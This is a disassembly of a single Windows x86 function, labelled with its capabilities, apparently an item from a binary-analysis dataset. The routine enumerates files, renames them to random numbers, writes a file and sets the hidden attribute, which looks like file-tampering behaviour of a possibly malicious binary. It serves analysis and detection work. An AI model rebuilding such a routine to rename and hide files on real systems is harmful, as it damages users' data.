Function at 0x401780
Capabilities:
Enumerate files on windows
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406323
mov eax, dword fs:[0]
push eax
sub esp, 0x408
mov eax, dword [0x40a040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x3b0], eax
push 0x407498
mov edx, eax
lea ecx, [ebp - 0x40c]
call fcn.00403f70
add esp, 4
cmp dword [eax + 0x14], 7
jbe 0x4017d2
mov eax, dword [eax]
lea ecx, [ebp - 0x384]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, dword [ebp - 0x3f8]
mov esi, eax
mov dword [ebp - 0x3bc], esi
cmp ecx, 7
jbe 0x40182a
mov edx, dword [ebp - 0x40c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401820
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401820
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040531f
add esp, 8
xor eax, eax
mov dword [ebp - 0x3fc], 0
mov dword [ebp - 0x3f8], 7
mov word [ebp - 0x40c], ax
cmp esi, 0xffffffff
je 0x402363
push eax
mov byte [ebp - 0x385], 1
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
mov dword [ebp - 0x410], edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 8
lea ecx, [ebp - 0x84]
push 0x4074a0
call fcn.00403a00
mov dword [ebp - 4], 0
lea eax, [ebp - 0x358]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00403a00
mov byte [ebp - 4], 1
lea esi, [ebp - 0x6c]
cmp dword [ebp - 0x58], 7
mov eax, dword [ebp - 0x6c]
mov edi, dword [ebp - 0x5c]
cmova esi, eax
mov dword [ebp - 0x3ac], eax
cmp edi, 1
jne 0x4018e0
mov edx, edi
mov ecx, 0x4074bc
test edx, edx
je 0x401fbb
sub esi, ecx
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x4018da
add ecx, 2
sub edx, 1
jne 0x4018c4
jmp 0x401fbb
mov eax, dword [ebp - 0x3ac]
cmp dword [ebp - 0x58], 7
lea esi, [ebp - 0x6c]
cmova esi, eax
cmp edi, 2
jne 0x401916
mov edx, edi
mov ecx, 0x4074c0
test edx, edx
je 0x401fbb
sub esi, ecx
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x401916
add ecx, 2
sub edx, 1
jne 0x401900
jmp 0x401fbb
test byte [ebp - 0x384], 0x10
jne 0x401fbb
mov byte [ebp - 0x385], 0
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, 0xf4240
cdq
idiv ecx
lea esi, [ebp - 0x12]
mov ecx, edx
test ecx, ecx
jns 0x401970
neg ecx
mov eax, 0xcccccccd
sub esi, 2
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
add ecx, 0x30
mov word [esi], cx
mov ecx, edx
test ecx, ecx
jne 0x401943
add esi, 0xfffffffe
mov eax, 0x2d
mov word [esi], ax
jmp 0x401990
mov eax, 0xcccccccd
sub esi, 2
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
add ecx, 0x30
mov word [esi], cx
mov ecx, edx
test ecx, ecx
jne 0x401970
push ecx
lea eax, [ebp - 0x12]
push eax
push esi
lea ecx, [ebp - 0x54]
call fcn.004048b0
mov edx, dword [ebp - 0x3b0]
lea ecx, [ebp - 0x2c]
push 0x4074c8
mov byte [ebp - 4], 2
call fcn.00403f70
add esp, 4
mov esi, eax
mov byte [ebp - 4], 3
lea edx, [ebp - 0x54]
cmp dword [ebp - 0x40], 7
mov eax, dword [ebp - 0x54]
mov ecx, dword [esi + 0x10]
cmova edx, eax
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x3b4], eax
mov eax, dword [esi + 0x14]
sub eax, ecx
cmp edi, eax
ja 0x401a27
cmp dword [esi + 0x14], 7
lea eax, [ecx + edi]
mov dword [ebp - 0x390], eax
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x38c], esi
jbe 0x401a02
mov eax, dword [esi]
mov dword [ebp - 0x38c], eax
lea ecx, [eax + ecx*2]
lea eax, [edi + edi]
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x38c]
add esp, 0xc
mov ecx, dword [ebp - 0x390]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x401a4c
push edi
push edx
mov byte [ebp - 0x3f0], 0
mov ecx, esi
push dword [ebp - 0x3f0]
push edi
call fcn.004044f0
mov edi, dword [ebp - 0x44]
mov esi, eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x398], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3a8], xmm0
mov dword [ebp - 0x394], 0
xor eax, eax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x3a8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x398], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x3b0]
lea ecx, [ebp - 0x3d4]
push 0x4074c8
mov byte [ebp - 4], 4
call fcn.00403f70
add esp, 4
mov esi, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x6c]
cmp dword [ebp - 0x58], 7
mov edx, dword [esi + 0x10]
cmova ecx, dword [ebp - 0x3ac]
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x390], edx
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x3b8], ecx
cmp edx, eax
ja 0x401b32
cmp dword [esi + 0x14], 7
mov ecx, dword [ebp - 0x390]
mov dword [ebp - 0x38c], esi
lea eax, [ecx + edx]
mov dword [ebp - 0x390], eax
mov dword [esi + 0x10], eax
mov eax, esi
jbe 0x401b08
mov eax, dword [esi]
mov dword [ebp - 0x38c], eax
lea ecx, [eax + ecx*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0x3b8]
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x38c]
add esp, 0xc
mov ecx, dword [ebp - 0x390]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x401b54
push edx
push ecx
mov byte [ebp - 0x3f4], 0
mov ecx, esi
push dword [ebp - 0x3f4]
push edx
call fcn.004044f0
mov esi, eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x3ac], eax
mov dword [ebp - 0x3dc], 0
lea ecx, [ebp - 0x3a8]
mov dword [ebp - 0x3d8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3ec], xmm0
xor eax, eax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x3ec], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x3dc], xmm0
mov word [esi], ax
lea eax, [ebp - 0x3ec]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
cmp dword [ebp - 0x394], 7
cmova ecx, dword [ebp - 0x3a8]
cmp dword [ebp - 0x3d8], 7
push ecx
cmova eax, dword [ebp - 0x3ec]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, dword [ebp - 0x3d8]
cmp ecx, 7
jbe 0x401c0c
mov edx, dword [ebp - 0x3ec]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40181a
push ecx
push edx
call fcn.0040531f
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x3dc], 0
mov dword [ebp - 0x3d8], 7
mov word [ebp - 0x3ec], ax
cmp ecx, 7
jbe 0x401c6d
mov edx, dword [ebp - 0x3d4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c63
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40181a
push ecx
push edx
call fcn.0040531f
add esp, 8
xor eax, eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x394]
mov dword [ebp - 0x3c4], 0
mov dword [ebp - 0x3c0], 7
mov word [ebp - 0x3d4], ax
cmp ecx, 7
jbe 0x401cce
mov edx, dword [ebp - 0x3a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401cc4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40181a
push ecx
push edx
call fcn.0040531f
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 7
mov word [ebp - 0x3a8], ax
cmp ecx, 7
jbe 0x401d29
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401d1f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40181a
push ecx
push edx
call fcn.0040531f
add esp, 8
push 0xb0
lea eax, [ebp - 0x134]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edx, dword [ebp - 0x3b0]
lea ecx, [ebp - 0x3d4]
push 0x4074c8
call fcn.00403f70
add esp, 0x10
mov esi, eax
mov byte [ebp - 4], 6
lea edx, [ebp - 0x54]
cmp dword [ebp - 0x40], 7
mov eax, dword [esi + 0x14]
cmova edx, dword [ebp - 0x3b4]
mov ecx, dword [esi + 0x10]
sub eax, ecx
cmp edi, eax
ja 0x401dc2
cmp dword [esi + 0x14], 7
lea eax, [ecx + edi]
mov dword [ebp - 0x3b8], eax
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x38c], esi
jbe 0x401d97
mov eax, dword [esi]
mov dword [ebp - 0x38c], eax
lea ecx, [eax + ecx*2]
lea eax, [edi + edi]
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x38c]
add esp, 0xc
mov ecx, dword [ebp - 0x3b8]
xor edx, edx
mov edi, dword [ebp - 0x3b4]
mov word [eax + ecx*2], dx
jmp 0x401dde
push edi
push edx
mov byte [ebp - 0x410], 0
mov ecx, esi
push dword [ebp - 0x410]
push edi
call fcn.004044f0
mov edi, dword [ebp - 0x54]
mov esi, eax
mov dword [ebp - 0x398], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3a8], xmm0
mov dword [ebp - 0x394], 0
xor eax, eax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x3a8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x398], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
sub esp, 0xc
mov byte [ebp - 4], 7
lea eax, [ebp - 0x3a8]
lea ecx, [ebp - 0x134]
push eax
call fcn.004037d0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x394]
cmp ecx, 7
jbe 0x401e83
mov edx, dword [ebp - 0x3a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401e79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40181a
push ecx
push edx
call fcn.0040531f
add esp, 8
xor eax, eax
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 7
mov word [ebp - 0x3a8], ax
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x3c0]
cmp ecx, 7
jbe 0x401ee4
mov edx, dword [ebp - 0x3d4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401eda
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40181a
push ecx
push edx
call fcn.0040531f
add esp, 8
xor eax, eax
mov dword [ebp - 0x3c4], 0
mov dword [ebp - 0x3c0], 7
mov word [ebp - 0x3d4], ax
cmp dword [ebp - 0xe4], eax
je 0x401f36
cmp dword [ebp - 0x70], 7
lea edx, [ebp - 0x84]
push dword [ebp - 0x74]
cmova edx, dword [ebp - 0x84]
lea ecx, [ebp - 0x134]
call fcn.004049e0
add esp, 4
lea ecx, [ebp - 0x134]
call fcn.00403720
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x138], eax
lea ecx, [ebp - 0x130]
call fcn.00403640
lea ecx, [ebp - 0x12c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
lea ecx, [ebp - 0xcc]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x40]
cmp eax, 7
jbe 0x401fbb
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x401fb1
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40181a
push ecx
push edi
call fcn.0040531f
add esp, 8
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x58]
cmp eax, 7
jbe 0x401ffc
mov edx, dword [ebp - 0x3ac]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401ff2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402353
push ecx
push edx
call fcn.0040531f
add esp, 8
mov esi, dword [ebp - 0x3bc]
lea eax, [ebp - 0x384]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401885
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp byte [ebp - 0x385], 0
je 0x402324
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, 0xf4240
cdq
idiv ecx
lea esi, [ebp - 0x12]
mov ecx, edx
test ecx, ecx
jns 0x402072
neg ecx
mov eax, 0xcccccccd
sub esi, 2
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
add ecx, 0x30
mov word [esi], cx
mov ecx, edx
test ecx, ecx
jne 0x402045
add esi, 0xfffffffe
mov eax, 0x2d
mov word [esi], ax
jmp 0x402092
mov eax, 0xcccccccd
sub esi, 2
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
add ecx, 0x30
mov word [esi], cx
mov ecx, edx
test ecx, ecx
jne 0x402072
push ecx
lea eax, [ebp - 0x12]
push eax
push esi
lea ecx, [ebp - 0x40c]
call fcn.004048b0
mov edx, dword [ebp - 0x3b0]
lea ecx, [ebp - 0x3d4]
push 0x4074c8
mov byte [ebp - 4], 0xb
call fcn.00403f70
add esp, 4
lea ecx, [ebp - 0x40c]
mov byte [ebp - 4], 0xc
push ecx
push eax
push dword [ebp - 0x3bc]
lea ecx, [ebp - 0x3a8]
call fcn.004046a0
push 0x4074cc
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0xd
call fcn.00403ef0
mov dword [ebp - 0x44], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x54], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x44], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x394]
cmp ecx, 7
jbe 0x40216e
mov edx, dword [ebp - 0x3a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402164
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40221e
push ecx
push edx
call fcn.0040531f
add esp, 8
xor eax, eax
mov dword [ebp - 0x398], 0
mov dword [ebp - 0x394], 7
mov word [ebp - 0x3a8], ax
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x3c0]
cmp ecx, 7
jbe 0x4021cb
mov edx, dword [ebp - 0x3d4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4021c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40221e
push ecx
push edx
call fcn.0040531f
add esp, 8
xor eax, eax
mov dword [ebp - 0x3c4], 0
mov dword [ebp - 0x3c0], 7
mov word [ebp - 0x3d4], ax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x3f8]
cmp ecx, 7
jbe 0x40222e
mov edx, dword [ebp - 0x40c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402224
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402224
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040531f
add esp, 8
push 0xb0
lea eax, [ebp - 0x134]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x134]
call fcn.004037d0
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0xe4], 0
je 0x40228a
cmp dword [ebp - 0x70], 7
lea edx, [ebp - 0x84]
push dword [ebp - 0x74]
cmova edx, dword [ebp - 0x84]
lea ecx, [ebp - 0x134]
call fcn.004049e0
add esp, 4
lea ecx, [ebp - 0x134]
call fcn.00403720
cmp dword [ebp - 0x40], 7
lea eax, [ebp - 0x54]
push 2
cmova eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x138], eax
lea ecx, [ebp - 0x130]
call fcn.00403640
lea ecx, [ebp - 0x12c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
lea ecx, [ebp - 0xcc]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void_]
mov ecx, dword [ebp - 0x40]
cmp ecx, 7
jbe 0x402324
mov edx, dword [ebp - 0x54]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40231a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40231a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040531f
add esp, 8
mov ecx, dword [ebp - 0x70]
cmp ecx, 7
jbe 0x402363
mov edx, dword [ebp - 0x84]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402359
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402359
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040531f
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004051cc
mov esp, ebp
pop ebp
ret